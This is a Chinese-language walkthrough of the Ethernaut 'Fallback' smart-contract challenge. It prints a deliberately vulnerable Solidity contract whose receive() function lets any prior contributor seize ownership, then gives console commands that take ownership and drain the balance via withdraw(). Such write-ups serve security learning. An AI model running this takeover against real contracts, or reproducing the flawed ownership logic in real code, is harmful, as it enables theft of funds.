// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
上述程式碼即為玩家要攻擊的程式碼,玩家必須要取得 owner 的權限(讓 owner 裡面存的地址改成自己),並且要將合約內的 Balance 變成 0 方可通關。
在 Solidity 裡,為了讓合約使用上更加便利,Solidity 在合約裡加上許多功能與關鍵字給予了程式碼更多功能性,現在要提起的 receive 正是其中之一。
receive() external payable {}
在 Soldiity 中,要讓合約有收款能力則需要加上 receive 或 fallback 關鍵字,而這個 receive/fallback 是收款函數,既然稱為函數,就代表著他是會執行的,而執行時機是當合約收到款項時會觸發函數,
在程式碼中有兩個函數能夠替換 owner 權限,分別是 contribute 和 receive
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
contribute 函數只要當我們存在合約內的錢比 owner 還多就可以了,那我們就來看看 owner 有多少錢吧
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
1000 ether 那....感覺是完全沒有機會走這一條路呢 :((
receive
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
我們可以發現,只要 contributions[player] > 0 並且再發送一筆轉帳交易進入合約後,合約會觸發 receive 如此一來便可以將 owner 權限更改成自己的地址。
當務之急是讓 player 的 contributions > 0,所以需要讀者執行 contribute 函數
await contract.contribute.sendTransaction({from : player, value:toWei("0.0001")})
要留意的是 sendTransaction 的寫法,({from : <address>, value : })
這段程式碼的意思是執行 contribute 函數,並且轉入指定數量的 ETH
正確執行函數後就能來查看玩家目前的 contrubute 是否 > 0
確定了 contribution 不為 0 ,那麼依照前面的邏輯,只要完成一次正常交易,合約就會執行 receive 並且將 owner 改為玩家自己囉。await contract.sendTransaction({from:player, value:toWei("0.0001")})
來查看 owner 現在是誰吧await contract.owner()
最後一步可別忘了,要把合約吃乾抹淨await contract.withdraw()
偷完錢之後就可以開開心心的 submit 啦
⎦˚◡˚⎣ ⎦˚◡˚⎣ ⎦˚◡˚⎣ ⎦˚◡˚⎣ ⎦˚◡˚⎣